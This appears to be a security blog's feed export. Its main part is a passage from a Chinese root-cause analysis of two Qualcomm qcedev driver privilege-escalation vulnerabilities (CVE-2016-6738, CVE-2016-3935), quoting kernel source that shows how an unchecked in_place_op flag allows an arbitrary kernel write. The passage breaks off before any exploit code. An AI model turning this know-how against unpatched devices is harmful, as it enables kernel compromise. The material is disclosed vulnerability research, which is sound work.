cache中加密文件的明文页有可能被交换到swap区,在chromeos中已经禁用了swap,因此不会产生影响,但是其他版本的Linux系统需要注意该问题。<br>  eCryptfs首次实现到现在已经十年有余,直到近几年才在chromeos和Ubuntu上使用,个人认为除了之前人们的安全意识不如现在强烈外,更重要的是随着处理器性能的增强,eCryptfs加解密引起的文件读写性能下降的问题已经得到缓解。但实际的性能损耗如何,有待继续研究。或许出于性能的原因,年初的时候Google在chromeos实现了基于ext4 crypto的 dircrypto,用于实现跟eCryptfs同样的功能,目前chromeos同时支持eCryptfs和dircrypto,但在60版本后优先采用dircrypto技术,相关技术在另外的文章中进行介绍。<br>  最后,文中必有未及细看而自以为是的东西,望大家能够去伪存真,更求不吝赐教。</p><h2 id="参考资料-回页首"><a href="#参考资料-回页首" class="headerlink" title="参考资料 回页首"></a>参考资料 <a href="#top">回页首</a></h2><p><span id="refer"></span></p><ol><li><a href="https://www.ibm.com/developerworks/cn/linux/l-cn-ecryptfs/" target="_blank" rel="noopener">企业级加密文件系统 eCryptfs 详解</a></li><li><a href="http://www.linuxjournal.com/article/9400" target="_blank" rel="noopener">eCryptfs: a Stacked Cryptographic Filesystem</a></li><li><a href="https://chromium.googlesource.com/chromiumos/third_party/kernel/+/v4.4.79" target="_blank" rel="noopener">Linux kernel-V4.4.79 sourcecode</a></li><li><a href="https://chromium.googlesource.com/chromiumos/" target="_blank" rel="noopener">chromiumos platform-9653 sourcecode</a></li></ol>]]></content>
<summary type="html">
<p>author : <a href="http://weibo.com/suezi86" target="_blank">suezi(@suezi86)</a> of IceSword Lab , Qihoo 360</p>
<hr>
<p><span id="top"></
</summary>
</entry>
<entry>
<title>Digtool - A Virtualization-Based Framework for Detecting Kernel Vulnerabilities</title>
<link href="http://yoursite.com/2017/08/16/Digtool-A-Virtualization-Based-Framework-for-Detecting-Kernel-Vulnerabilities/"/>
<id>http://yoursite.com/2017/08/16/Digtool-A-Virtualization-Based-Framework-for-Detecting-Kernel-Vulnerabilities/</id>
<published>2017-08-16T07:53:40.000Z</published>
<updated>2025-07-16T10:02:19.265Z</updated>
<content type="html"><![CDATA[<p>author : Jianfeng Pan, Guanglu Yan, and Xiaocao Fan, IceSword Lab, 360 Internet Security Center</p><h2 id="Paper"><a href="#Paper" class="headerlink" title="Paper"></a>Paper</h2><p><a href="https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-pan.pdf" target="_blank"> https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-pan.pdf </a></p><h2 id="Abstract"><a href="#Abstract" class="headerlink" title="Abstract:"></a>Abstract:</h2><p>Discovering vulnerabilities in operating system (OS) kernels and patching them is crucial for OS security. However, there is a lack of effective kernel vulnerability detection tools, especially for closed-source OSes such as Microsoft Windows. In this paper, we present Digtool, an effective, binary-code-only, kernel vulnerability detection framework. Built atop a virtualization monitor we designed, Digtool successfully captures various dynamic behaviors of kernel execution, such as kernel object allocation, kernel memory access, thread scheduling, and function invoking. With these behaviors, Digtool has identified 45 zero-day vulnerabilities such as out-of-bounds access, use-after-free, and time-of-check-to-time- of-use among both kernel code and device drivers of recent versions of MicrosoftWindows, includingWindows 7 and Windows 10.</p>]]></content>
<summary type="html">
<p>author : Jianfeng Pan, Guanglu Yan, and Xiaocao Fan, IceSword Lab, 360 Internet Security Center</p>
<h2 id="Paper"><a href="#Paper" class
</summary>
</entry>
<entry>
<title>高通加解密引擎提权漏洞解析</title>
<link href="http://yoursite.com/2017/08/07/qualcomm-crypto-engine-vulnerabilities-exploits/"/>
<id>http://yoursite.com/2017/08/07/qualcomm-crypto-engine-vulnerabilities-exploits/</id>
<published>2017-08-07T00:00:00.000Z</published>
<updated>2025-07-16T10:02:19.264Z</updated>
<content type="html"><![CDATA[<p>author : <a href="https://twitter.comengjia4574" target="_blank">jiayy(@chengjia4574)</a> from IceSword Lab , Qihoo 360</p><hr><p><span id="top"></span></p><ul><li><a href="#before">前言</a></li><li><a href="#backgroud">背景知识</a></li><li><a href="#cause">漏洞成因</a><ul><li><a href="#CVE-2016-6738-cause">CVE-2016-6738 漏洞成因</a></li><li><a href="#CVE-2016-6738-patch">CVE-2016-6738 漏洞补丁</a></li><li><a href="#CVE-2016-3935-cause">CVE-2016-3935 漏洞成因</a></li><li><a href="#CVE-2016-3935-patch">CVE-2016-3935 漏洞补丁</a></li></ul></li><li><a href="#exp">漏洞利用</a><ul><li><a href="#what-is-kernel-exp">什么是提权</a></li><li><a href="#android-kernel-exp">利用方法回顾</a></li><li><a href="#this-kernel-exp">本文使用的方法</a></li><li><a href="#CVE-2016-6738-exp">CVE-2016-6738 漏洞利用</a></li><li><a href="#CVE-2016-3935-exp">CVE-2016-3935 漏洞利用</a></li></ul></li><li><a href="#refer">参考</a></li></ul><h2 id="前言"><a href="#前言" class="headerlink" title="前言 [^]"></a>前言 <a href="#top">[^]</a></h2><p><span id="before"></span><br>CVE-2016-3935 和 CVE-2016-6738 是<a href="http://www.iceswordlab.com/" target="_blank" rel="noopener">我们</a>发现的高通加解密引擎(Qualcomm crypto engine)的两个提权漏洞,分别在2016年<a href="https://source.android.com/security/bulletin/2016-10-01" target="_blank" rel="noopener">10月</a>和<a href="https://source.android.com/security/bulletin/2016-11-01" target="_blank" rel="noopener">11月</a>的谷歌android漏洞榜被公开致谢,同时高通也在2016年<a href="https://www.codeaurora.org/failed-integer-overflow-check-leads-heap-overflow-driver-devqce-cve-2016-3901-cve-2016-3935" target="_blank" rel="noopener">10月</a>和<a href="https://www.codeaurora.org/user-controlled-arbitrary-kernel-address-write-qcedev-driver-cve-2016-6738" target="_blank" rel="noopener">11月</a>的漏洞公告里进行了介绍和公开致谢。这两个漏洞报告给谷歌的时候都提交了exploit并且被采纳,这篇文章介绍一下这两个漏洞的成因和利用。</p><h2 id="背景知识"><a href="#背景知识" class="headerlink" title="背景知识 [^]"></a>背景知识 <a href="#top">[^]</a></h2><p><span id="backgroud"></span></p><p>高通芯片提供了硬件加解密功能,并提供驱动给内核态和用户态程序提供高速加解密服务,我们在这里收获了多个漏洞,主要有3个驱动</p><pre><code>- qcrypto driver: 供内核态程序使用的加解密接口 - qcedev driver: 供用户态程序使用的加解密接口- qce driver: 与加解密芯片交互,提供加解密驱动底层接口</code></pre><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">Documentation/crypto/msm/qce.txt</span><br><span class="line"></span><br><span class="line"> Linux kernel</span><br><span class="line"> (ex:IPSec)<--*Qualcomm crypto driver----+</span><br><span class="line"> (qcrypto) |</span><br><span class="line"> (<span class="keyword">for</span> kernel space app) |</span><br><span class="line"> |</span><br><span class="line"> +-->|</span><br><span class="line"> |</span><br><span class="line"> | *qce <----> Qualcomm</span><br><span class="line"> | driver ADM driver <---> ADM HW</span><br><span class="line"> +-->| | |</span><br><span class="line"> | | |</span><br><span class="line"> | | |</span><br><span class="line"> | | |</span><br><span class="line"> Linux kernel | | |</span><br><span class="line"> misc device <--- *QCEDEV Driver-------+ | |</span><br><span class="line"> interface (qcedev) (Reg interface) (DMA interface)</span><br><span class="line"> (<span class="keyword">for</span> user space app) \ /</span><br><span class="line"> \ /</span><br><span class="line"> \ /</span><br><span class="line"> \ /</span><br><span class="line"> \ /</span><br><span class="line"> \ /</span><br><span class="line"> \ /</span><br><span class="line"> Qualcomm crypto CE3 HW</span><br></pre></td></tr></table></figure><p><a href="https://android.googlesource.com/kernel/msm.git/+/3f2bc4d6eb5a4fada842462ba22bb6bbb41d00c7/Documentation/crypto/msm/qcedev.txt" target="_blank" rel="noopener">qcedev driver</a> 就是本文两个漏洞发生的地方,这个驱动通过 ioctl 接口为用户层提供加解密和哈希运算服务。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">Documentation/crypto/msm/qcedev.txt</span><br><span class="line"></span><br><span class="line">Cipher IOCTLs:</span><br><span class="line"> --------------</span><br><span class="line"> QCEDEV_IOCTL_ENC_REQ is <span class="keyword">for</span> encrypting data.</span><br><span class="line"> QCEDEV_IOCTL_DEC_REQ is <span class="keyword">for</span> decrypting data.</span><br><span class="line"></span><br><span class="line"> The <span class="built_in">caller</span> of the IOCTL passes a pointer to the structure shown</span><br><span class="line"> below, as the second parameter.</span><br><span class="line"></span><br><span class="line"> struct qcedev_cipher_op_req {</span><br><span class="line"> int use_pmem;</span><br><span class="line"> union{</span><br><span class="line"> struct qcedev_pmem_info pmem;</span><br><span class="line"> struct qcedev_vbuf_info vbuf;</span><br><span class="line"> };</span><br><span class="line"> uint32_t entries;</span><br><span class="line"> uint32_t data_len;</span><br><span class="line"> uint8_t in_place_op;</span><br><span class="line"> uint8_t enckey[QCEDEV_MAX_KEY_SIZE];</span><br><span class="line"> uint32_t encklen;</span><br><span class="line"> uint8_t iv[QCEDEV_MAX_IV_SIZE];</span><br><span class="line"> uint32_t ivlen;</span><br><span class="line"> uint32_t byteoffset;</span><br><span class="line"> enum qcedev_cipher_alg_enum alg;</span><br><span class="line"> enum qcedev_cipher_mode_enum mode;</span><br><span class="line"> enum qcedev_oper_enum op;</span><br><span class="line"> };</span><br></pre></td></tr></table></figure><p>加解密服务的核心结构体是 struct qcedev_cipher_op_req, 其中, 待加/解密数据存放在 vbuf 变量里,enckey 是秘钥, alg 是算法,这个结构将控制内核qce引擎的加解密行为。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">Documentation/crypto/msm/qcedev.txt</span><br><span class="line"></span><br><span class="line"> Hashing/HMAC IOCTLs</span><br><span class="line"> -------------------</span><br><span class="line"></span><br><span class="line"> QCEDEV_IOCTL_SHA_INIT_REQ is <span class="keyword">for</span> initializing a <span class="built_in">hash</span>/hmac request.</span><br><span class="line"> QCEDEV_IOCTL_SHA_UPDATE_REQ is <span class="keyword">for</span> updating <span class="built_in">hash</span>/hmac.</span><br><span class="line"> QCEDEV_IOCTL_SHA_FINAL_REQ is <span class="keyword">for</span> ending the <span class="built_in">hash</span>/mac request.</span><br><span class="line"> QCEDEV_IOCTL_GET_SHA_REQ is <span class="keyword">for</span> retrieving the <span class="built_in">hash</span>/hmac <span class="keyword">for</span> data</span><br><span class="line"> packet of known size.</span><br><span class="line"> QCEDEV_IOCTL_GET_CMAC_REQ is <span class="keyword">for</span> retrieving the MAC (using AES CMAC</span><br><span class="line"> algorithm) <span class="keyword">for</span> data packet of known size.</span><br><span class="line"></span><br><span class="line"> The <span class="built_in">caller</span> of the IOCTL passes a pointer to the structure shown</span><br><span class="line"> below, as the second parameter.</span><br><span class="line"></span><br><span class="line"> struct qcedev_sha_op_req {</span><br><span class="line"> struct buf_info data[QCEDEV_MAX_BUFFERS];</span><br><span class="line"> uint32_t entries;</span><br><span class="line"> uint32_t data_len;</span><br><span class="line"> uint8_t digest[QCEDEV_MAX_SHA_DIGEST];</span><br><span class="line"> uint32_t diglen;</span><br><span class="line"> uint8_t *authkey;</span><br><span class="line"> uint32_t authklen;</span><br><span class="line"> enum qcedev_sha_alg_enum alg;</span><br><span class="line"> struct qcedev_sha_ctxt ctxt;</span><br><span class="line"> };</span><br></pre></td></tr></table></figure><p>哈希运算服务的核心结构体是 struct qcedev_sha_op_req, 待处理数据存放在 data 数组里,entries 是待处理数据的份数,data_len 是总长度。</p><h2 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因 [^]"></a>漏洞成因 <a href="#top">[^]</a></h2><p><span id="cause"></span> </p><p>可以通过下面的方法获取本文的漏洞代码</p><pre><code>* git clone https://android.googlesource.com/kernel/msm.git* git checkout android-msm-angler-3.10-nougat-mr2* git checkout 6cc52967be8335c6f53180e30907f405504ce3dd drivers/crypto/msm/qcedev.c </code></pre><h3 id="CVE-2016-6738-漏洞成因"><a href="#CVE-2016-6738-漏洞成因" class="headerlink" title="CVE-2016-6738 漏洞成因 [^]"></a>CVE-2016-6738 漏洞成因 <a href="#top">[^]</a></h3><p><span id="CVE-2016-6738-cause"></span></p><p>现在,我们来看第一个漏洞 cve-2016-6738</p><p>介绍漏洞之前,先科普一下linux kernel 的两个小知识点</p><p>1) linux kernel 的用户态空间和内核态空间是怎么划分的?</p><p>简单来说,在一个进程的地址空间里,比 thread_info->addr_limit 大的属于内核态地址,比它小的属于用户态地址</p><p>2) linux kernel 用户态和内核态之间数据怎么传输?</p><p>不可以直接赋值或拷贝,需要使用规定的接口进行数据拷贝,主要是4个接口:</p><p><code>copy_from_user/copy_to_user/get_user/put_user</code></p><p>这4个接口会对目标地址进行合法性校验,比如:</p><p><code>copy_to_user = access_ok + __copy_to_user</code> // __copy_to_user 可以理解为是memcpy</p><p>下面看漏洞代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">file: drivers/crypto/msm/qcedev.c</span><br><span class="line"><span class="function"><span class="keyword">long</span> <span class="title">qcedev_ioctl</span><span class="params">(struct file *file, <span class="keyword">unsigned</span> cmd, <span class="keyword">unsigned</span> <span class="keyword">long</span> arg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">switch</span> (cmd) {</span><br><span class="line"> <span class="keyword">case</span> QCEDEV_IOCTL_ENC_REQ:</span><br><span class="line"> <span class="keyword">case</span> QCEDEV_IOCTL_DEC_REQ:</span><br><span class="line"> <span class="keyword">if</span> (!access_ok(VERIFY_WRITE, (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_cipher_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (__copy_from_user(&qcedev_areq.cipher_op_req,</span><br><span class="line"> (<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_cipher_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_CIPHER;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (qcedev_check_cipher_params(&qcedev_areq.cipher_op_req,</span><br><span class="line"> podev))</span><br><span class="line"> <span class="keyword">return</span> -EINVAL;</span><br><span class="line"></span><br><span class="line"> err = qcedev_vbuf_ablk_cipher(&qcedev_areq, handle);</span><br><span class="line"> <span class="keyword">if</span> (err)</span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line"> <span class="keyword">if</span> (__copy_to_user((<span class="keyword">void</span> __user *)arg,</span><br><span class="line"> &qcedev_areq.cipher_op_req,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct qcedev_cipher_op_req)))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">...</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">err:</span><br><span class="line"> debugfs_remove_recursive(_debug_dent);</span><br><span class="line"> <span class="keyword">return</span> rc;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>当用户态通过 ioctl 函数进入 qcedev 驱动后,如果 command 是 <strong>QCEDEV_IOCTL_ENC_REQ</strong>(加密)或者 <strong>QCEDEV_IOCTL_DEC_REQ</strong>(解密),最后都会调用函数 <strong>qcedev_vbuf_ablk_cipher</strong> 进行处理。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">file: drivers/crypto/msm/qcedev.c</span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">qcedev_vbuf_ablk_cipher</span><span class="params">(struct qcedev_async_req *areq,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct qcedev_handle *handle)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">qcedev_cipher_op_req</span> *<span class="title">creq</span> = &<span class="title">areq</span>-><span class="title">cipher_op_req</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Verify Source Address's */</span></span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < areq->cipher_op_req.entries; i++)</span><br><span class="line"> <span class="keyword">if</span> (!access_ok(VERIFY_READ,</span><br><span class="line"> (<span class="keyword">void</span> __user *)areq->cipher_op_req.vbuf.src[i].vaddr,</span><br><span class="line"> areq->cipher_op_req.vbuf.src[i].len))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Verify Destination Address's */</span></span><br><span class="line"> <span class="keyword">if</span> (creq->in_place_op != <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>, total = <span class="number">0</span>; i < QCEDEV_MAX_BUFFERS; i++) {</span><br><span class="line"> <span class="keyword">if</span> ((areq->cipher_op_req.vbuf.dst[i].vaddr != <span class="number">0</span>) &&</span><br><span class="line"> (total < creq->data_len)) {</span><br><span class="line"> <span class="keyword">if</span> (!access_ok(VERIFY_WRITE,</span><br><span class="line"> (<span class="keyword">void</span> __user *)creq->vbuf.dst[i].vaddr,</span><br><span class="line"> creq->vbuf.dst[i].len)) {</span><br><span class="line"> pr_err(<span class="string">"%s:DST WR_VERIFY err %d=0x%lx\n"</span>,</span><br><span class="line"> __func__, i, (<span class="keyword">uintptr_t</span>)</span><br><span class="line"> creq->vbuf.dst[i].vaddr);</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> }</span><br><span class="line"> total += creq->vbuf.dst[i].len;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>, total = <span class="number">0</span>; i < creq->entries; i++) {</span><br><span class="line"> <span class="keyword">if</span> (total < creq->data_len) {</span><br><span class="line"> <span class="keyword">if</span> (!access_ok(VERIFY_WRITE,</span><br><span class="line"> (<span class="keyword">void</span> __user *)creq->vbuf.src[i].vaddr,</span><br><span class="line"> creq->vbuf.src[i].len)) {</span><br><span class="line"> pr_err(<span class="string">"%s:SRC WR_VERIFY err %d=0x%lx\n"</span>,</span><br><span class="line"> __func__, i, (<span class="keyword">uintptr_t</span>)</span><br><span class="line"> creq->vbuf.src[i].vaddr);</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> }</span><br><span class="line"> total += creq->vbuf.src[i].len;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"> total = <span class="number">0</span>;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">if</span> (areq->cipher_op_req.data_len > max_data_xfer) {</span><br><span class="line">...</span><br><span class="line"> } <span class="keyword">else</span></span><br><span class="line"> err = qcedev_vbuf_ablk_cipher_max_xfer(areq, &di, handle,</span><br><span class="line">... k_align_src);</span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在 qcedev_vbuf_ablk_cipher 函数里,首先对 creq->vbuf.src 数组里的地址进行了校验,接下去它需要校验 creq->vbuf.dst 数组里的地址</p><p>这时候我们发现,当变量 <strong>creq->in_place_op</strong> 的值不等于 1 时,它才会校验 creq->vbuf.dst 数组里的地址,否则目标地址creq->vbuf.dst[i].vaddr 将不会被校验</p><p>这里的 <strong>creq->in_place_op</strong> 是一个用户层可以控制的值,如果后续代码对这个值没有要求,那么这里就可以通过让 <strong>creq->in_place_op = 1</strong> 来绕过对 creq->vbuf.dst[i].vaddr 的校验,这是一个疑似漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">file: drivers/crypto/msm/qcedev.c</span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">qcedev_vbuf_ablk_cipher_max_xfer</span><span class="params">(struct qcedev_async_req *areq,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">int</span> *di, struct qcedev_handle *handle,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">uint8_t</span> *k_align_src)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">uint8_t</span> *k_align_dst = k_align_src;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">qcedev_cipher_op_req</span> *<span class="title">creq</span> = &<span class="title">areq</span>-><span class="title">cipher_op_req</span>;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)</span><br><span class="line"> byteoffset = areq->cipher_op_req.byteoffset;</span><br><span class="line"></span><br><span class="line"> user_src = (<span class="keyword">void</span> __user *)areq->cipher_op_req.vbuf.src[<span class="number">0</span>].vaddr;</span><br><span class="line"> <span class="keyword">if</span> (user_src && __copy_from_user((k_align_src + byteoffset),</span><br><span class="line"> (<span class="keyword">void</span> __user *)user_src,</span><br><span class="line"> areq->cipher_op_req.vbuf.src[<span class="number">0</span>].len))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[<span class="number">0</span>].len;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">1</span>; i < areq->cipher_op_req.entries; i++) {</span><br><span class="line"> user_src =</span><br><span class="line"> (<span class="keyword">void</span> __user *)areq->cipher_op_req.vbuf.src[i].vaddr;</span><br><span class="line"> <span class="keyword">if</span> (user_src && __copy_from_user(k_align_src,</span><br><span class="line"> (<span class="keyword">void</span> __user *)user_src,</span><br><span class="line"> areq->cipher_op_req.vbuf.src[i].len)) {</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"> }</span><br><span class="line"> k_align_src += areq->cipher_op_req.vbuf.src[i].len;</span><br><span class="line">}</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">while</span> (creq->data_len > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (creq->vbuf.dst[dst_i].len <= creq->data_len) {</span><br><span class="line"> <span class="keyword">if</span> (err == <span class="number">0</span> && __copy_to_user(</span><br><span class="line"> (<span class="keyword">void</span> __user *)creq->vbuf.dst[dst_i].vaddr,</span><br><span class="line"> (k_align_dst + byteoffset),</span><br><span class="line"> creq->vbuf.dst[dst_i].len))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> k_align_dst += creq->vbuf.dst[dst_i].len +</span><br><span class="line"> byteoffset;</span><br><span class="line"> creq->data_len -= creq->vbuf.dst[dst_i].len;</span><br><span class="line"> dst_i++;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (err == <span class="number">0</span> && __copy_to_user(</span><br><span class="line"> (<span class="keyword">void</span> __user *)creq->vbuf.dst[dst_i].vaddr,</span><br><span class="line"> (k_align_dst + byteoffset),</span><br><span class="line"> creq->data_len))</span><br><span class="line"> <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line"> k_align_dst += creq->data_len;</span><br><span class="line"> creq->vbuf.dst[dst_i].len -= creq->data_len;</span><br><span class="line"> creq->vbuf.dst[dst_i].vaddr += creq->data_len;</span><br><span class="line"> creq->data_len = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> *di = dst_i;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> err;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>在函数 <strong>qcedev_vbuf_ablk_cipher_max_xfer</strong> 里,我们发现它没有再用到变量 <strong>creq->in_place_op</strong>, 也没有对地址 creq->vbuf.dst[i].vaddr 做校验,我们还可以看到该函数最后是使用 <strong>__copy_to_user</strong> 而不是 copy_to_user 从变量 k_align_dst 拷贝数据到地址 creq->vbuf.dst[i].vaddr</p><p>由于** <strong>copy_to_user** 本质上只是 memcpy, 且 **</strong>copy_to_user** 的目标地址是 creq->vbuf.dst[dst_i].vaddr, 这个地址可以被用户态控制, 这样漏洞就坐实了,我们得到了一个内核任意地址写漏洞。</p><p>接下去我们看一下能写什么值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">file: drivers/crypto/msm/qcedev.c</span><br><span 